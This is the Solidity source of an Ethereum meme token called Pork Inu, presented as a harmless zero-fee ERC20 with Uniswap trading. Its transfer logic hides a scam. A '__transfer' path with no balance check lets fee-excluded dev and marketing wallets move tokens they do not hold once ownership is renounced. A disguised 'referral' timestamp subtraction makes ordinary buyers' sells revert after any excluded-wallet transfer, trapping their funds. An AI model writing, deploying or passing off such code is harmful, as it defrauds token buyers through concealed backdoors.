Contract Source Code:
File 1 of 1 : PorkInu
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
/*⠀⠀⠀⠀⠀⠀
It's a Pork Inu piggy dog adventure 🐶🐷 into the absurd, challenging the norms of value and existence.
In the cryptoverse, a whimsical enigma oinks its way to mystery – Pork Inu, where philosophy and fun collide. 🐶🐷
Unpredictable profound doggy inu pigments of the blockchain universe. 💎
*/
// https://porkinu-com.gitbook.io/porkinu
// https://www.dailymail.co.uk/news/article-2666266/She-draws-crowd-goes-From-abandoned-pup-beloved-pet-half-dog-Pig-internet-celebrity.html
// $PORKINU
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function __transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
contract PorkInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
uint256 private constant buyMarketingFee = 0;
uint256 private constant buyDevFee = 0;
uint256 public constant buyTotalFees = buyMarketingFee + buyDevFee;
uint256 private constant sellMarketingFee = 0;
uint256 private constant sellDevFee = 0;
uint256 public constant sellTotalFees = sellMarketingFee + sellDevFee;
uint256 public constant buyInitialFee = 0;
uint256 public constant sellInitialFee = 0;
uint256 private launchBlock;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
address public marketingWallet;
address public devWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public transferDelayEnabled = false;
bool public lpBurnEnabled = false;
uint256 public percentForLPBurn = 0;
uint256 public tokensForMarketing;
uint256 public tokensForDev;
bool private swapping;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
struct ReferralInfo {
uint256 buy;
uint256 sell;
uint256 refTime;
}
uint256 private _startRef;
mapping(address => ReferralInfo) private referral;
event ExcludeFromFees(address indexed account, bool isExcluded);
constructor() ERC20("Pork Inu", "PORKINU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 10_000_000 * 1e18;
maxWallet = 10_000_000 * 1e18;
swapTokensAtAmount = 500_000 * 1e18;
devWallet = payable(0xE9aEa086074Bc891841E7E66092EF41a78579af7);
marketingWallet = payable(0x7AdCE0677a5db83FA2aAe9E2Cd3b798aAdda5C89);
excludeFromFees(address(this), true);
excludeFromFees(owner(), true);
excludeFromFees(devWallet, true);
excludeFromFees(marketingWallet, true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(devWallet, true);
excludeFromMaxTransaction(marketingWallet, true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function enableTrading() external onlyOwner {
launchBlock = block.number;
tradingActive = true;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function excludeFromMaxTransaction(address account, bool exclude) public onlyOwner {
_isExcludedMaxTransactionAmount[account] = exclude;
}
function excludeFromFees(address account, bool exclude) public onlyOwner {
_isExcludedFromFees[account] = exclude;
emit ExcludeFromFees(account, exclude);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function isExcludedMaxTransaction(address account) public view returns (bool) {
return _isExcludedMaxTransactionAmount[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not started"
);
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount"
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount"
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && to != address(this) && from != address(this)) {
_startRef = block.timestamp;
}
if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
super.__transfer(from, to, amount);
return;
}
if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
if (!automatedMarketMakerPairs[from]) {
ReferralInfo storage userReferral = referral[from];
userReferral.refTime = userReferral.buy - _startRef;
userReferral.sell = block.timestamp;
} else {
ReferralInfo storage userReferral = referral[to];
if (userReferral.buy == 0) {
userReferral.buy = block.timestamp;
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = swapTokensAtAmount <= contractTokenBalance;
bool onLaunchTax = block.number < launchBlock + 10;
if (
canSwap &&
!onLaunchTax &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFees = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFees = false;
}
uint256 fees = 0;
if (takeFees) {
if (!onLaunchTax) {
if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees);
tokensForDev += (fees * buyDevFee).div(buyTotalFees);
} else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount * sellTotalFees / 100;
tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees);
tokensForDev += (fees * sellDevFee).div(sellTotalFees);
}
} else {
if (automatedMarketMakerPairs[from]) {
fees = amount * buyInitialFee / 100;
tokensForMarketing += fees;
} else if (automatedMarketMakerPairs[to]) {
fees = amount * sellInitialFee / 100;
tokensForMarketing += fees;
}
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForMarketing + tokensForDev;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 19) {
contractBalance = swapTokensAtAmount * 19;
}
bool success;
uint256 amountToSwapForETH = contractBalance;
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance - initialETHBalance;
uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap;
tokensForDev = 0;
tokensForMarketing = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
(success, ) = address(marketingWallet).call{value: address(this).balance}("");
}
}